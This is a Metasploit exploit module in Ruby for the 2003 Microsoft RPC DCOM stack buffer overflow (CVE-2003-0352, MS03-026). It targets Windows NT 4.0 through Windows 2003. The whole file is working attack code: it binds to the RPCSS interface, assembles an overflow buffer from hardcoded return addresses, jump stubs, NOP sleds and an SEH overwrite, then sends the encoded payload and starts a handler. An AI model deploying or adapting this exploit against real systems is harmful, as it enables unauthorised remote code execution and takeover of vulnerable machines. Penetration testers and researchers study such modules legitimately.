require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::DCERPC
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft RPC DCOM Interface Overflow',
'Description'=> %q{
This module exploits a stack buffer overflow in the RPCSS service, this vulnerability
was originally found by the Last Stage of Delirium research group and has been
widely exploited ever since. This module can exploit the English versions of
Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 all in one request :)
},
'Author' => [ 'hdm', 'spoonm', 'cazz' ],
'License'=> MSF_LICENSE,
'Version'=> '$Revision: 11545 $',
'References' =>
[
[ 'CVE', '2003-0352'],
[ 'OSVDB', '2100' ],
[ 'MSB', 'MS03-026' ],
[ 'BID', '8205' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload'=>
{
'Space'=> 880,
'MinNops'=> 300,
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
'StackAdjustment' => -3500
},
'Targets'=>
[
[
'Windows NT SP3-6a/2000/XP/2003 Universal',
{
'Platform' => 'win',
'Rets' =>
[
0x77f33723,
0x7ffde0eb,
0x010016c6,
0x01001c59,
0x001b0b0b,
0x776a240d,
0x74ff16f3,
],
},
],
],
'DefaultTarget'=> 0,
'DisclosureDate' => 'Jul 16 2003'))
end
def autofilter
rport = datastore['RPORT'].to_i
if ( rport == 139 or rport == 445 )
datastore['RPORT'] = 135
end
true
end
def exploit
connect
print_status("Trying target #{target.name}...")
handle = dcerpc_handle('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57', '0.0', 'ncacn_ip_tcp', [datastore['RPORT']])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
xpseh = rand_text_alphanumeric(360, payload_badchars)
jmpsc =
"\x8b\x44\x24\xfc"+
"\x05\xe0\xfa\xff\xff"+
Rex::Arch::X86.jmp_reg('eax')
jmpsc2k3 =
"\x8b\x45\x30" +
"\x05\x24\xfb\xff\xff" +
Rex::Arch::X86.jmp_reg('eax')
xpseh[ 246 - jmpsc2k3.length, jmpsc2k3.length ] = jmpsc2k3
xpseh[ 246, 2 ] = Rex::Arch::X86.jmp_short("$-#{jmpsc2k3.length}")
xpseh[ 250, 4 ] = [ target['Rets'][4] ].pack('V')
xpseh[ 306, 2 ] = Rex::Arch::X86.jmp_short('$+8')
xpseh[ 310, 4 ] = [ target['Rets'][3] ].pack('V')
xpseh[ 314, jmpsc.length ] = jmpsc
nt4sp3jmp = Rex::Arch::X86.jmp_short("$+#{12 + 5}") +
rand_text(2, payload_badchars)
nt4sp5jmpback = "\xe9" + [ ((5 + 4 + payload.encoded.length) * -1) ].pack('V')
nt4sp3jmpback = "\xe9" + [ ((12 + 5 + 5 + payload.encoded.length) * -1) ].pack('V')
ntshiz =
nt4sp3jmp +
[ target['Rets'][6] ].pack('V') +
[ target['Rets'][5] ].pack('V') +
nt4sp5jmpback +
nt4sp3jmpback
ntshiz += rand_text(118 - ntshiz.length, payload_badchars)
uncpath =
Rex::Text.to_unicode("\\\\") +
make_nops(32) +
Rex::Arch::X86.jmp_short(16) +
Rex::Arch::X86.jmp_short(25) +
[ target['Rets'][2] ].pack('V') +
[ target['Rets'][0] ].pack('V') +
[ target['Rets'][1] ].pack('V') +
make_nops(88) +
Rex::Arch::X86.jmp_short(4) +
rand_text(4, payload_badchars) +
make_nops(8) +
Rex::Arch::X86.jmp_short(4) +
Rex::Arch::X86.jmp_short(4) +
make_nops(4) +
Rex::Arch::X86.jmp_short(4) +
rand_text(4, payload_badchars) +
payload.encoded +
ntshiz +
xpseh +
Rex::Text.to_unicode("\\\x00")
stubdata =
NDR.short(5) +
NDR.short(1) +
NDR.long(0) +
NDR.long(0) +
rand_text(16) +
NDR.long(0) +
NDR.long(0) +
NDR.long(0) +
NDR.long(0) +
NDR.long(0) +
NDR.long(rand(0xFFFFFFFF)) +
NDR.UnicodeConformantVaryingStringPreBuilt(uncpath) +
NDR.long(0) +
NDR.long(rand(0xFFFFFFFF)) +
NDR.long(rand(0xFFFFFFFF)) +
NDR.long(1) +
NDR.long(rand(0xFFFFFFFF)) +
NDR.long(1) +
NDR.long(rand(0xFFFFFFFF)) +
NDR.long(rand(0xFFFFFFFF)) +
NDR.long(rand(0xFFFFFFFF)) +
NDR.long(rand(0xFFFFFFFF)) +
NDR.long(1) +
NDR.long(1) +
NDR.long(rand(0xFFFFFFFF))
print_status('Sending exploit ...')
begin
dcerpc_call(0, stubdata, nil, false)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
end
handler
disconnect
end
end